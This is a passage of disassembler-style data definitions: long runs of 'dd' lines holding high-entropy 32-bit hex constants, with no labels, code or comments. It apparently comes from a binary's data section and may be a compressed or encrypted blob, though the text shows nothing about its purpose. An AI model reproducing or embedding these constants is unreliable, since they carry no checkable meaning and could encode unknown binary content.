		dd 2DAD8064h, 1E73930Fh, 60776B79h, 13C62063h, 7DEF658h
		dd 5728A9F8h, 5AF3335Bh, 0CE26C383h, 0EB459C55h, 0BF3F5DBAh
		dd 0C0362E78h, 0D4EC0AF5h, 9934AA7h, 73577231h,	0DCC8940h
		dd 52A2BD79h, 0E6159927h, 3702B50Dh, 0A0F22EBh,	8502B9CDh
		dd 4E2AFA7Dh, 0D20220BEh, 2078FFB0h, 0E6F2F782h, 16F3873Eh
		dd 92BFDDB6h, 92410438h, 153C3003h, 8C54DB12h, 0FD45B9E4h
		dd 0B6D7E82Dh, 0BA055E55h, 52F815FCh, 6A1368C3h, 4DF99313h
		dd 2F68E138h, 1E1A2394h, 0BAD7FE09h, 92C1F735h,	0D876601Dh
		dd 3B070551h, 90169CF6h, 93C0F215h, 9BA8328h, 4C665BEBh
		dd 0E906B4F4h, 5F2D5348h, 0BD10ABC3h, 44BF4AECh, 647204h
		dd 310C3ABBh, 412AB81Ch, 96F5307Fh, 48CD1712h, 4C0D3835h
		dd 0D8F6F3C4h, 81A1A5A3h, 0DE86E2BAh, 27136E80h, 3B9AE4F0h
		dd 0B048931Fh, 20236B16h, 38BBE1D1h, 10495C3Eh,	0AC003A24h
		dd 6852122Ch, 989D48B4h, 800B5E3Fh, 5A52F028h, 1868C284h
		dd 4A976622h, 0B4DB3053h, 0E825E93Ch, 60D83A08h, 20730E42h
		dd 25C4254h, 1CC70482h,	13BE1095h, 0EA3DBB4Fh, 0B080FC6Bh
		dd 45276B1h, 56E92BB2h,	6E9AFC9h, 0FE38BF92h, 0E8345F8Bh
		dd 0D535B2BCh, 52508C78h, 1B5483DEh, 940BB936h,	8064122Dh
		dd 34329785h, 0D1434F27h, 6FBFB22Bh, 612B5290h,	5E742728h
		dd 170347F4h, 0B075141Dh, 4B69FEF6h, 4238C087h,	295CFB59h
		dd 70890DAh, 6853565Eh,	4BA41141h, 907E886Ah, 85F9BA41h
		dd 48573E24h, 0B25B654h, 0BC55C6F7h, 6637AD8h, 5A29113Fh
		dd 0EC9EDB2h, 0E97A985Dh, 0A8C84F7Dh, 0D268C04Eh, 0FCDFD9BAh
		dd 2CBD591Eh, 13BF02Ch,	0B04D6DC7h, 15AC3A35h, 0B4580840h
		dd 91E958DEh, 0A5F80F5Ah, 8B50EC8Bh, 1D860438h,	3E3B2CF8h
		dd 11F09833h, 0EED3886Ah, 24175B69h, 53B2AAC5h,	9E86267Eh
		dd 68E46980h, 2F20D85Ah, 48AB66BCh, 464CC271h, 29EF2A0Bh
		dd 0F6BEE45Dh, 0A8EC4EC7h, 0F8E5D76Eh, 0B05ADF68h, 0E24EF5C4h
		dd 41675D8Ch, 66A53062h, 0E762BB41h, 71095E13h,	6D7F3E73h
		dd 658C9ED6h, 0A832C979h, 0EF281AEh, 1CDBA0Dh, 16EED32Ah
		dd 0BE6695BEh, 49294F05h, 0F67A6699h, 38911B1h,	0FB09792Dh
		dd 31C1ECF6h, 209D8FC3h, 5B7EE0E6h, 0B18806B4h,	9762275Fh
		dd 41E4F15Fh, 7DC71DE9h, 5B44A5Dh, 302A1FDCh, 2BDDC835h
		dd 3A2FD025h, 29992733h, 15EF10D7h, 999001B2h, 89CBD2Dh
		dd 445FCDFCh, 1EDB8FA4h, 0CD188CF7h, 7FC108DFh,	10A84712h
		dd 4A806404h, 3575FFFEh, 0D5E94960h, 0EC49BA9Ah, 0B8454F8Ch
		dd 4925B14Fh, 155CEE2Ah, 5FC6F0D4h, 92FFFFD5h, 34D0623Ah
		dd 87B9B62Eh, 0B4A1E812h, 9FF757F4h, 44B7CE48h,	0F832EA2Dh
		dd 806CCAEh, 3AE13386h,	51B3A2B9h, 5CF64A20h, 9D3C3652h
		dd 2D3A1796h, 5143E5Dh,	555227E3h, 0BFD1AB9Bh, 0C6E7815Ch
		dd 30433538h, 0AF2B907Ah, 213A60F1h, 48D46229h,	0F0BF0786h
		dd 0F71D3B02h, 4704D762h, 7AD1804Fh, 0ED415110h, 2F3CF3F4h
		dd 2DE01804h, 508227CBh, 6CC52739h, 13880574h, 90DF2742h
		dd 4B1B681Dh, 55FB3116h, 0EDDB8101h, 28C70651h,	82350C82h
		dd 0D877391Dh, 633606DBh, 0C25E3C6Ah, 33E90780h, 28C5D149h
		dd 1624BDDEh, 5727C428h, 0C552CF25h, 4570F17Eh,	9ADCABA2h
		dd 0F348124Ch, 62B051Bh, 82FB0142h, 2E3F7446h, 83F341ABh
		dd 6B2A784Dh, 340208h, 59CF885Bh, 5165EFD0h, 16EF9968h
		dd 5F9BEB97h, 57B0E65Bh, 314470E8h, 0CE435ED5h,	7B9D7D13h
		dd 97F59157h, 0D0B278ACh, 58BF4558h, 50AB0395h,	0C78887B0h
		dd 221DFEF1h, 610202B8h, 504B4EC8h, 33C095Eh, 0FD2F574Ch
		dd 0CC9A650Fh, 313B02DFh, 2651C0FDh, 72A69E32h,	0E9AB385Dh
		dd 0D13D4BFAh, 83347477h, 38B7E27Bh, 2DEDC59Dh,	16077885h
		dd 0A316EBh, 115ACA78h,	0E9151B94h, 3BB70D0Fh, 243593E7h
		dd 59C2C0F3h, 4970BAE9h, 0CE215812h, 6A29B5EEh,	445AC79Fh
		dd 164D5B0Fh, 0DAAC2009h, 9FF10425h, 8551C33Ah,	0D7D4EB13h
		dd 42A063C4h, 436CC5FEh, 0B5EED013h, 0D4F4E30h,	86F4DBEh
		dd 1D52E4FEh, 2FE23360h, 0B1C2E45h, 4EFBE955h, 4B8556E8h
		dd 0D2FE374Bh, 0D4D8D80Fh, 401C3D00h, 6E38110h,	6F692870h
		dd 17E809E6h, 16004A27h, 5EB13C59h, 68EA8195h, 2F266282h
		dd 181D341Dh, 36E99377h, 6809E8B4h, 9892E613h, 286D405Eh
		dd 1357FE4Ch, 26D0CDBBh, 48572E54h, 0FC20B97Bh,	0E455D6B7h
		dd 0FE4DD4DDh, 1DD762F7h
		dd 95BCACE1h, 0F41722B9h, 7863F251h, 0D172962Fh, 0BC6804FEh
		dd 3A1B349h, 2D6A3EB9h,	4BB59358h, 0B61E20Dh, 5BCFFFE9h
		dd 47F38F59h, 7C546D9Fh, 12CC41D2h, 0DA315E00h,	4FF0E3B8h
		dd 695C7995h, 68BAC87Dh, 0BE3056ABh, 1DCE2505h,	2070C267h
		dd 58535001h, 0C0E8EF44h, 9300013Bh, 341B5C05h,	0F2090D76h
		dd 83366558h, 8533593Bh, 0DA75E2FBh, 12D1F9B4h,	5EB21A18h
		dd 5B14FC50h, 4C6C383h,	0A5407ECBh, 3C235E81h, 76415702h
		dd 0B0F56B34h, 9ED34FF4h, 68028258h, 86D91132h,	0F295BA2Ah
		dd 0C2F29C60h, 9AE865E9h, 0F31EBA52h, 0AC7D825Ah, 0D4A500D2h
		dd 29640803h, 4A5FF82Dh, 8093A8ACh, 7B9711E1h, 90ACA3D1h
		dd 80F2822h, 4760E968h,	85EFB816h, 970DAA97h, 6EF6841Eh
		dd 632C0928h, 1D528D0h,	541A6841h, 3DC1052Ch, 44110A62h
		dd 5048A3E5h, 0E6950789h, 4B5C7A16h, 2B6EE101h,	0D2885439h
		dd 0E628DDE6h, 1FC3FA5Ah, 0F7878A5Ah, 0DE754FBh, 0D5595709h
		dd 5FF03109h, 0F0D20096h, 0E8F4AAE0h, 0F2CE90FEh, 0DAB03D58h
		dd 44E13CCh, 722651h, 6866692Ch, 0A84F7457h, 1646B7DEh
		dd 5FED7F6h, 26F36C09h,	49F8773Dh, 7D252294h, 81214F9Ch
		dd 746805C2h, 0F7A16253h, 0BB00A2DEh, 5C3E05BDh, 6DEB0381h
		dd 832C444Fh, 7E92FCB4h, 0D3F74B14h, 495600FCh,	22E9856Dh
		dd 217DC811h, 2F269120h, 55493EB9h, 0E14C13C2h,	9955E912h
		dd 8935B2EEh, 0AAEF43ACh, 689AA15Ah, 1B334EEFh,	25F2B01Ch
		dd 0FB5B70F4h, 28E7D051h, 0E52C74C8h, 53FFA3E2h, 751CAA54h
		dd 0C05F70CEh, 0E2BC52C5h, 4479110h, 9742CF2Dh,	0F035BD80h
		dd 12B1751Fh, 0C8EA87E9h, 0BF7D5773h, 41172B13h, 0D8B3F5Eh
		dd 0E1C6AF70h, 0FA29E25Ah, 71345921h, 2F0C76BAh, 6F5C5DF8h
		dd 54E0E309h, 4FBB40ADh, 62136D37h, 3DDD331h, 6855F400h
		dd 0C4630212h, 0CCE95D11h, 4E4C7D4Bh, 18620573h, 5C807F5Bh
		dd 6573552Ch, 832F1802h, 0E9E18677h, 10E0EA25h,	0B0D101h
		dd 70400883h, 0D82779AAh, 6C887777h, 0E9290B08h, 0CC49B8F5h
		dd 58E3E46h, 0C9C07F99h, 8B42DCF5h, 1D10989Dh, 385F9734h
		dd 9702C121h, 55E384E5h, 0F2FF8AFEh, 9B162093h,	763F2B5h
		dd 2851C780h, 0F98F5BD7h, 66F88A9Dh, 0CC029639h, 4C64B75Ch
		dd 0B787E334h, 38E93A40h, 855B31Ah, 0F43E3398h,	42544B55h
		dd 2902A151h, 922E65CAh, 0A6B0135Bh, 0CDB510B7h, 0A9C0FE4Bh
		dd 0C46852h, 5AAC4732h,	0F6E9D689h, 0FEC8EABFh,	0A24B2D0Ah
		dd 572DF67Fh, 0EE4F5A0Bh, 0D1C55E90h, 78B218h, 4E06D9BBh
		dd 888F09Eh, 3DD80E26h,	252E0409h, 56C7DF71h, 376EA1EEh
		dd 8B47E1C1h, 60CB94Fh,	40E58530h, 9BB28805h, 3581AC28h
		dd 0E0D54720h, 0A18058C3h, 0A8B45000h, 0B753D4F6h, 2DFDCF5Ch
		dd 0EBE77638h, 2688EBB3h, 21170AF4h, 17135AD1h,	8D6F545h
		dd 63DD33D2h, 0DC9EC932h, 457BCC64h, 0BFCE046Ch, 0FE9232FDh
		dd 0E2EFAF85h, 4AB0B5A7h, 7AC2C12Eh, 52D1B0E9h,	81C0E0FCh
		dd 26241AACh, 948BD155h, 2DAA4EDAh, 0B9C26668h,	418F59FDh
		dd 552A8CE9h, 0E2C4EBB9h, 0CA9D6EEh, 0D2B5DA9Dh, 4AFEB9B1h
		dd 0BA19C4BAh, 0E982D0B3h, 65A83D62h, 1C8E2297h, 0DF820D58h
		dd 8A350F0Ah, 0ABFCDE45h, 0B66BE3DDh, 64680CABh, 40545927h
		dd 5F075E3Bh, 1B7AA705h, 25E0D160h, 0B11017Eh, 272D4024h
		dd 3F20D910h, 0B8D719B9h, 2F3CF3A1h, 990BC5A8h,	7AC660DDh
		dd 27EE2680h, 4E7F2048h, 0EA84850Eh, 593EB69Dh,	20C828C5h
		dd 495B5A7Ch, 65156B4Eh, 31EF1428h, 5230A15h, 87EFA013h
		dd 2669B21Eh, 0BF636675h, 34AA45Ah, 0C4881DC2h,	4FED9826h
		dd 0C41F8CDDh, 5BFB1317h, 472DF4ECh, 0D22D4C74h, 206EFEEAh
		dd 0FF84FF40h, 71747920h, 658FEE43h, 2F293D6h, 1DFEFDAh
		dd 0CC6C595Dh, 532E68B8h, 9A0974DEh, 44BE2FA4h,	29D83DF0h
		dd 665F40C7h, 3036B81Dh, 1C46B907h, 5B3811D3h, 0D3B8BDC3h
		dd 0BC4AA7BCh, 0BEADB1EAh, 0E6B0F004h, 99BA234Bh, 3DDECB2h
		dd 50A85597h, 0CC6858F6h, 0D3D31248h, 4CADB121h, 0DFAAA26Eh
		dd 6A939649h, 2578F7A1h, 0A5FC2D4Ah, 4C424F89h,	40B4DF7h
		dd 0C9D0D7E9h, 0D50D7A4Ah, 0E13B25A6h, 50E5308Fh, 8474C93Ah
		dd 8B4688B2h, 6C206299h, 20785BD6h, 7E1B6828h, 54BB64A8h
		dd 2C390F14h, 768820AEh, 0C96814F7h, 50CBCA38h,	54345502h
		dd 0B1A6CE77h, 0F88989FFh, 0A432480Ah, 82B2C9Ah, 0AC05D77Fh
		dd 4981D830h, 90D23991h, 80A3E4F6h, 2513BEB8h, 7F017005h
		dd 96023E2h, 0C549903Bh, 0A7796858h, 2919EAA8h,	0AD21579Ah
		dd 93539F2Ch, 4F49A9F9h, 23E462B8h, 0CF244BDEh,	0C12831B1h
		dd 0BA0C0F20h, 0EB52F24Fh, 0B6C71E24h, 0FED02F35h, 0F84E587Eh
		dd 1103AF13h, 99FFC480h, 63425F4h, 0EC2077BEh, 2DE9155Ah
		dd 0DA02AD14h, 159EBB53h, 897FBCC2h, 4E48FD5Ah,	0B05FE822h
		dd 13E252B0h, 0A9618F69h, 47A00672h, 0F0C6F66h,	43CF37AFh
		dd 0C140C284h, 71293131h, 20DAD1ABh, 0FF4EF513h, 690599BFh
		dd 29294BD1h, 41A8FC8Eh, 0C4CEBF16h, 0DA6AAC55h, 0D83C2D19h
		dd 3F53BD91h, 6BBE5E27h, 0C25BDF5Ah, 7F897BFCh,	0F92563F6h
		dd 0A7FF6F00h, 0C4315D05h, 88B0EA83h, 25527EC5h, 0E9C53480h
		dd 9EBF5700h, 5B505E37h, 6822014Fh, 70AFA1C8h, 0FD82DDACh
		dd 0BD89C7F9h, 5FD257Bh, 296E45BFh, 402CEAD8h, 98CB587Ch
		dd 4707B2A7h, 0E3805F04h, 2D180C25h, 1248012Ah,	0FF0C7EAAh
		dd 0D8D9899Fh, 0BA9740DEh, 751EBE77h, 89FE8182h, 4A6F556Ah
		dd 0FE08095Dh, 6044B4h,	0EF3628BDh, 73BBA10Dh, 47D1216Fh
		dd 4CB8F081h, 0F0341A25h, 9DEAF25Dh, 3B0BD011h,	134281A5h
		dd 5897AE5h, 7292E7EFh,	3C1FFEA4h, 75C99D89h, 0A63D7573h
		dd 58111CBh, 829014A0h,	9DD428E8h, 8FCAB25Ch, 0FF84A312h
		dd 0F600E8EFh, 6859120Ch, 26CDB471h, 0EC4EA540h, 12A19641h
		dd 46E0AA2Dh, 4AABF65Dh, 8C8FEAE8h, 22DEEA4Eh, 0EA200E48h
		dd 2756014Ch, 0C7A2FEEDh, 46560B94h, 825FB0E3h,	2FA2C4C7h
		dd 0D2681219h, 0B7073AFBh, 80F18127h, 0DF03C932h, 15EF26E8h
		dd 504720BDh, 80475D1Bh, 1A11AB11h, 83172903h, 0EA659515h
		dd 86C457A3h, 2FD01185h, 59BCE289h, 96F74B85h, 3D3E3410h
		dd 91A2BED7h, 48D1A910h, 0CF55776Dh, 0D1064785h, 0EC715F65h
		dd 3BF7B388h, 27902CEFh, 0D854D0A9h, 0B99A669Fh, 0D98174B7h
		dd 0B243D54h, 79B192E9h, 51AA9A7Dh, 504240DDh, 3CF100B8h
		dd 5483978h, 8A7D24C5h,	58C13116h, 0BD803BB8h, 57BB5B6Ch
		dd 29E3FFFBh, 0C12DB302h, 578DAD5Eh, 11413656h,	0E8E5AF03h
		dd 0DD027096h, 0E4B13008h, 2F2B84Fh, 27670118h,	0FA1EDDF2h
		dd 56A5A97Ch, 63FFCB7Dh, 123CA8BCh, 0EDBCD622h,	5AA748B3h
		dd 0C3B05B94h, 5293E598h, 0D0380068h, 0DA295B26h, 0EAC0209Ch
		dd 7ECF1FAFh, 0E5C27832h, 0F10E0844h, 69F6C14h,	496B2EE9h
		dd 340AC7EAh, 19D9B874h, 0E81D8151h, 0B155243Fh, 0FFC94437h
		dd 6B3E4ACEh, 1AB42F41h, 0B7AC1215h, 9F04EBEDh,	64AB4367h
		dd 0CC93C2F4h, 0B3929D0Eh, 0D2F60640h, 0BC03EAC0h, 0B72205FEh
		dd 2886829Ah, 7DCD3A77h, 7B0EDC2h, 5881ACCFh, 0C92D1E7Fh
		dd 0A3F55AC3h, 1DF99129h, 1F581C4h, 89377B60h, 695C30EAh
		dd 441A0283h, 55711364h, 0D3191940h, 0B1C21BC3h, 9EE0DD4Fh
		dd 0F16C0A72h, 0A0B40125h
		dd 141CD108h, 6F5ABF7Eh, 253F6CB5h, 0B27F97FBh,	0B0008251h
		dd 0C065C229h, 2DE903D4h, 0B664515Ah, 0CA02683Fh, 0F0C44F56h
		dd 6B6ADCAEh, 0F6DC295Eh, 4C969FEh, 4AD97A5Dh, 498FBB54h
		dd 0C5755625h, 0ACE9844Fh, 4F61BEEDh, 8016579Ch, 96DEEAA0h
		dd 0AC8B21B6h, 2E3B571Dh, 2E0336D9h, 541730E6h,	6096E059h
		dd 15440E00h, 1B33E581h, 261948D5h, 0F6C2506h, 53021868h
		dd 4D771F65h, 201DC2E9h, 822BEDCFh, 48C67BB3h, 0EB81BF85h
		dd 446B54BFh, 9C10BA8Bh, 9DEE4008h, 9B98640h, 7D8A167Ah
		dd 0FC4C4502h, 306EB200h, 20C6BAD3h, 0D2B703BDh, 38EAB7E1h
		dd 3A4B4C59h, 545C779Fh, 816208E9h, 16BA5992h, 0F0CBB1E3h
		dd 5F92AB3Fh, 0F3E7C03Ch, 0FE06EF02h, 0FFD7F6CFh, 28E6F140h
		dd 581CC776h, 0F80E642Ch, 715B8904h, 0C330605Ch, 44643768h
		dd 54AA8479h, 2C4BEAD7h, 74F3A4Dh, 9806CA4Ah, 94668C02h
		dd 0A2C27FCDh, 0AF35207Dh, 907A1E0Ah, 3F0D24ABh, 93A46B02h
		dd 0FFB28218h, 0D6B45DDh, 961AF7EBh, 0A1F0013Ch, 34F79D50h
		dd 57569506h, 1A8DE985h, 0E4D68DFAh, 9AB3B6Ah, 0E55699C2h
		dd 30B3442Fh, 6872F4C0h, 0C79D267Fh, 0E9CA0277h, 0D4E557CEh
		dd 0D4876825h, 114EB526h, 0AB4832F6h, 799A8477h, 0F10E4FBDh
		dd 4E89CE86h, 890B3674h, 6FAC56EFh, 0C12723CAh,	0C205E068h
		dd 88977B77h, 27387E76h, 5D93CCE8h, 1252BD8h, 24D14DFh
		dd 15B9BE56h, 0E84055ABh, 3C4E7A48h, 5B0835A0h,	89483134h
		dd 3BE905BFh, 0BA142416h, 819EB08Ah, 28C9E5E9h,	1AC53BD5h
		dd 6BCA0121h, 4361AB2Fh, 9C2A5EF3h, 55135237h, 0CCFED368h
		dd 0B0028DCh, 0D5872B2h, 2FC5625h, 1CF82D4Ah, 0ED580984h
		dd 0F11CE49Fh, 0B588277Bh, 43F6CD59h, 0DB1A6932h, 41064FD7h
		dd 272842EBh, 5A99AC96h, 0BAD243BCh, 9A3A2C0h, 850E481Dh
		dd 0D7EAE802h, 824A537Ah, 5B1344F4h, 9079650h, 693D71E9h
		dd 167BCE8Fh, 3F8AFF43h, 7410FE47h, 3609DE4Fh, 62A5D645h
		dd 4093864h, 0C2ABB5B2h, 0D1D7879Dh, 87D68A9h, 68043DC3h
		dd 0CAAF0CA8h, 9AAE6269h, 89145C25h, 6C4642BDh,	26655020h
		dd 683D488h, 0D868C480h, 49B2C327h, 0AF23051h, 2F570436h
		dd 0A581BF25h, 0AC7F5497h, 8EFBB45Eh, 3DAD5E47h, 0FBE899C5h
		dd 7F05C552h, 87BAEFC1h, 1F9B83D1h, 0E73BB4E4h,	9D530F40h
		dd 0F4E142F8h, 0D1FA7021h, 9A8C875Eh, 0FEF83CE7h, 651FC8DFh
		dd 0FB9F2C26h, 1FD52515h, 0B9090CF7h, 0A922D712h, 81098E08h
		dd 2022A2E8h, 3EA0220h,	649507C7h, 1C41F201h, 141CA008h
		dd 45C80B97h, 0C2E98607h, 0D59D0A2Ah, 156C8302h, 1C31D8A3h
		dd 695F252Eh, 9CCA0489h, 0D82805F2h, 3538C668h,	0CB9C80ADh
		dd 5A63D588h, 93E9F30Ch, 8048027Ah, 0F828F1F7h,	4929FF86h
		dd 0AFCB534Fh, 9B719E04h, 0B88BAF52h, 0C2D6C05Bh, 512452B5h
		dd 0E126E564h, 7072083Eh, 5ABE007Ch, 0CBE91DF1h, 54251892h
		dd 6B54965Dh, 4B5721FCh, 6AE88572h, 84BCB94Bh, 0A5E29845h
		dd 0F343A785h, 9331253h, 0EB7864EAh, 0E9B00AF9h, 0D9BD9B2Eh
		dd 0C0A3952Bh, 0BF576613h, 206105B3h, 62199768h, 0AA22967Ah
		dd 24F3F750h, 0A3AE5892h, 9DAB9654h, 0E3F82AE9h, 989B41Eh
		dd 69494EA0h, 0CCE93A56h, 7ECAABA4h, 94FCF24Ah,	3CED16DEh
		dd 0B8313E28h, 51EC2D15h, 0C12FC046h, 0AF60F1D5h, 83A0A7D4h
		dd 0E9E75BBDh, 5C40EB79h, 4FF0FBE9h, 711071FEh,	68C38E30h
		dd 48BFC232h, 7C5A425Eh, 0A25812C2h, 21258129h,	0EF38CF2Fh
		dd 6B7E3827h, 75187D72h, 737C7FB9h, 93682A09h, 6F88F479h
		dd 311A7BACh, 0D75EF127h, 99F8A618h, 8985FF71h,	25E55759h
		dd 55E9C94Eh, 210DFDFBh, 72F552FAh, 69288945h, 0DA2AF975h
		dd 307A589Dh, 0CEBB2076h, 6CE22F46h, 0C3807A5Ch, 0B7C7EE15h
		dd 0B3EC9721h, 0E7004F7Fh, 148239A3h, 6012E953h, 0B1C1A311h
		dd 505A253Bh, 807BAE5h,	2FC1653h, 67BCEDA3h, 0D1773046h
		dd 60E9C230h, 0A6D36FD8h, 51E89CF1h, 0D0A509B5h, 85D7C0E5h
		dd 0E97B898h, 2EFF2E3h,	1A2BF5Eh, 0C4DF5B67h, 977EDE94h
		dd 5331AFAEh, 9B3ADD6Dh, 35AC4A7Eh, 1C7BA80h, 293E0F7Ah
		dd 0E2217F2h, 42925FBh,	13F7C447h, 0BB530F80h, 0DD1813FCh
		dd 1D2A0973h, 1FF89910h, 0C1EE3AD2h, 0ADFBFE46h, 0D28DDF38h
		dd 66CCE808h, 0E7885307h, 0FC47D7F6h, 17B28289h, 214F6C2Ah
		dd 539E49FEh, 96470978h, 0E1A9C064h, 0E20A0414h, 0ABB84EE9h
		dd 7EE88899h, 27D4B90Ch, 3BB8C2D8h, 4FB85D4Fh, 667BF5Eh
		dd 0D8A0EC15h, 1EF509BBh, 990506E5h, 792D81Ch, 0CCD60458h
		dd 5E63F653h, 5F52CA27h, 57B52CBBh, 0AEABF5Eh, 9293019Bh
		dd 0F61EE156h, 0EC84EB77h, 6C13C0F8h, 9F66E2ABh, 2061CC67h
		dd 0FE036D08h, 6E6C0C6h, 55ACAA80h, 0E93A35FAh,	0BA806066h
		dd 4AED7D92h, 6060B105h, 4E82D24Bh, 0E050041h, 29034441h
		dd 5E97E9C8h, 0C55F2750h, 0A95F13F4h, 2360D33Bh, 2752A52Dh
		dd 76744232h, 0FEBD0720h, 52D8A774h, 0B440F8B6h, 5E1309Eh
		dd 0B0505866h, 0FED58002h, 0E073D0C0h, 27E96AC2h, 0A5747B92h
		dd 0D9515242h, 2F685160h, 95B2510h, 0F3113C80h,	8904282Ah
		dd 5DBE9CFh, 0AEC738EAh, 175E2F44h, 850EE15Ch, 448AEE31h
		dd 0D03CE985h, 26268CDh, 5F653915h, 0F5811FEEh,	5A135CDDh
		dd 14371800h, 7FE913C8h, 83289687h, 2DA02E7Ah, 0CB29B2CCh
		dd 62355905h, 0BAC814E9h, 970F355Bh, 0C24B273Ch, 552D58C7h
		dd 6B24BEF6h, 568DF80Bh, 0FE57D2EAh, 2BE851BBh,	0CBBA9117h
		dd 0B10B1349h, 0CFF572EAh, 92E495AFh, 0C306C4EDh, 0BF9F7A58h
		dd 5ADCBE93h, 26F16992h, 24E9AD0h, 1112E5BCh, 25B2EAA7h
		dd 0CE3183C8h, 0BA3DA771h, 1F7EBF84h, 5E259C8Bh, 4F16EA08h
		dd 0FD501EE5h, 6852813Dh, 8C2F138Ah, 4416B9DDh,	12AB0A4Fh
		dd 0B6F2EACEh, 60D8A041h, 8E30E5EFh, 135F0332h,	0A294E96Dh
		dd 11B95A00h, 2957D427h, 0BC84F8CAh, 6F681C4Ah,	4BC7579h
		dd 0C394D45h, 0EAA4B4ACh, 1677C005h, 264C968Ah,	5B603420h
		dd 6E061118h, 5151B25Ch, 1C8308C1h, 57084285h, 0D8C92A03h
		dd 0E8743660h, 370B83E1h, 0E3260467h, 84B52608h, 2BE1C9F0h
		dd 0CAEA7C12h, 922D6EAh, 91895DA3h, 5602FD7Bh, 0D63F0A59h
		dd 0BE813BCDh, 7A7125C3h, 8D8B2B09h, 1F2EA84Fh,	2A12684Ah
		dd 0E7C101E8h, 3F7AFD2Ch, 0E9097CFDh, 4331E1Ch,	4299AC9h
		dd 2030CE00h, 73810AE8h, 766612F3h, 7BF8010Ch, 3B5ABF4Ah
		dd 0DF090DB9h, 0B0E3D44h, 0CBE5BAB3h, 820EE76Bh, 41ECADE9h
		dd 0FC7F5C60h, 8461A4ACh, 0A068A5E9h, 2E752D0Bh, 5A5E9E0Fh
		dd 0D3D71461h, 0FF10E923h, 5D82E07Ch, 0BB4BB47Ah, 72E7C35Fh
		dd 8E659F5Eh, 6DBDE6A0h, 4AE90627h, 0D0955BAFh,	0D9681714h
		dd 0ACE03471h, 87100F24h, 0AA023601h, 0C005E9C1h, 0F3ED772h
		dd 0F9097E83h, 0C4C34849h, 7604D880h, 52535B00h, 0EE8040B6h
		dd 88501984h, 7F0E3CF0h, 2685F6E6h, 5689F440h, 0D5F789B7h
		dd 0EB90BE53h, 46058025h, 2D31EB66h, 307BFB59h,	7D1468B9h
		dd 0A71DA59Fh, 0FB4B14E7h, 46C2ED34h, 15405D3Eh, 0E897382Dh
		dd 94E39DE9h, 45555A42h, 8BEBA193h, 0CCF559CDh,	12AB42ADh
		dd 245DEAFBh, 0BE8D495h, 45727868h, 13E5A0FCh, 0BA74CA2h
		dd 7F03885h, 4745BE02h,	41561D7Dh, 46AD1805h, 57F592D5h
		dd 588C85FEh, 40CAD8FEh
		dd 0D572F717h, 0E6A5DD50h, 0EA2A5F81h, 90A34766h, 0BE74BF9Bh
		dd 9A657FE9h, 0B246F32Dh, 7D0B1C7Eh, 3C8BCBC5h,	0D1C7F67h
		dd 22F517Fh, 0E8CC9B27h, 9D56BB21h, 70C7A7C9h, 544BB81Bh
		dd 1A6B69B9h, 93097BF8h, 7D9BC5FBh, 696F14D9h, 0E5F97FC1h
		dd 33C2E9C1h, 1CEA57Ch,	3ACBFAF6h, 0C98AE24Bh, 0A244FD5Dh
		dd 88CAA8C0h, 0FA6D0F6Fh, 0B9DB8D2h, 0C64959E6h, 418662D7h
		dd 0B4615F00h, 0A4D2FC6Ah, 0C412B3C4h, 5C588209h, 205C89EBh
		dd 0A0D52611h, 0E2A1B123h, 0C4CB8B12h, 8830DB60h, 0D0258FAEh
		dd 0A6A0321Ch, 0BA82E3EDh, 6801020Eh, 338B4E59h, 735E96C7h
		dd 0C047549h, 1CB014C4h, 5A3869E5h, 0E9823CAEh,	765CA82Dh
		dd 0CF89E725h, 0AB807BA5h, 61F66741h, 92604530h, 8E7DC56Bh
		dd 8B1EF8F1h, 27055C04h, 0BD022355h, 59211819h,	1BE0C253h
		dd 40FF3CD7h, 0B8500660h, 3E6442Ch, 48793507h, 7D50098Dh
		dd 3775676h, 0A8021E25h, 27D0051Dh, 2D04700Fh, 0B7628ECDh
		dd 0C4EA84FBh, 0FBFDFAECh, 74CA1E38h, 0CD0D8084h, 5E5CDD55h
		dd 0E7A44A19h, 0E10C2AE9h, 83294C98h, 0B81C9A13h, 0BF99111h
		dd 0E63F2C68h, 0D1852241h, 1DBE159h, 4B063321h,	0A23FCF29h
		dd 0F8583207h, 49F70A1h, 68029CB8h, 80C0EE5Dh, 4B439405h
		dd 0CBD0B134h, 18BF5201h, 4F0AF95Eh, 0E658D820h, 431E04F2h
		dd 83E7E381h, 0C0549B4h, 0FA11075h, 5D7502AFh, 21F60259h
		dd 0F0BEEE35h, 0FD0D01A6h, 5E264DE9h, 298B4533h, 0EE42A05Dh
		dd 10CC31B8h, 7C3C14E9h, 7354C6B8h, 2BF2537Eh, 27F31402h
		dd 4A39B6E9h, 0A1ED812h, 360355E4h, 7BB14F9h, 0B208E90Bh
		dd 0C8920756h, 12BB0353h, 1B1DBF6Eh, 5F4A0BA5h,	1C1FA8EDh
		dd 580BB50h, 7D393DCCh,	8229D8BFh, 1796DF07h, 5ADEDE97h
		dd 955F5AF7h, 20D50A48h, 7D82D19Eh, 623FD16Fh, 0C5EB7F8Bh
		dd 4EEC1809h, 850D8F26h, 810BA52h, 1F385CFAh, 0C6679168h
		dd 2F6B7143h, 11441788h, 1401C4A1h, 2085BD01h, 0CA2166C4h
		dd 1FAFB840h, 0A257E33h, 0B75319E6h, 0C6F61CDAh, 8A370F42h
		dd 7830CC12h, 0AFE2B50Ah, 2D030587h, 0AE871435h, 2093466Bh
		dd 0BF046284h, 6BDD2593h, 57595581h, 77795ADh, 280C9CC8h
		dd 4B23EC48h, 102FE31Dh, 69503084h, 22B180F9h, 95B08078h
		dd 1DB16E5Fh, 0C5CCF63Fh, 98BB450Eh, 2813130Eh,	0C834648h
		dd 0FA0F5833h, 0A0A0D820h, 4E9E3F90h, 0BDC55049h, 226BABD3h
		dd 0AC05AFF1h, 16B87EB0h, 0C4289C4Bh, 1607124Dh, 3326ABEEh
		dd 6A306E34h, 9059C867h, 0B353668Dh, 3F305D7Eh,	0C183F4E7h
		dd 5F37A202h, 577609D2h, 5F7A5578h, 0AE0D5D68h,	0EF3111B1h
		dd 27C806A8h, 6591A925h, 0B376CA68h, 0C54A7329h, 5219AB10h
		dd 785A4CF6h, 0F5800E99h, 43BFD29Ah, 136368C5h,	0F8FA3510h
		dd 0DD595C27h, 4165BA60h, 51E09728h, 0F6A0E66Fh, 3EE3FE7Fh
		dd 0FA4BE0F3h, 0A8ABD0C4h, 6001E2B9h, 951EC275h, 0F8305210h
		dd 0DD529F96h, 680576D3h, 4A2032C8h, 0A141033Eh, 0B72E448Fh
		dd 25064297h, 0C0E6DC52h, 7A87507Fh, 6F04E5Fh, 0C4C94AE9h
		dd 0CBFCF243h, 0CA96DD5Ch, 5197F95h, 69AD4043h,	0DE9DEE88h
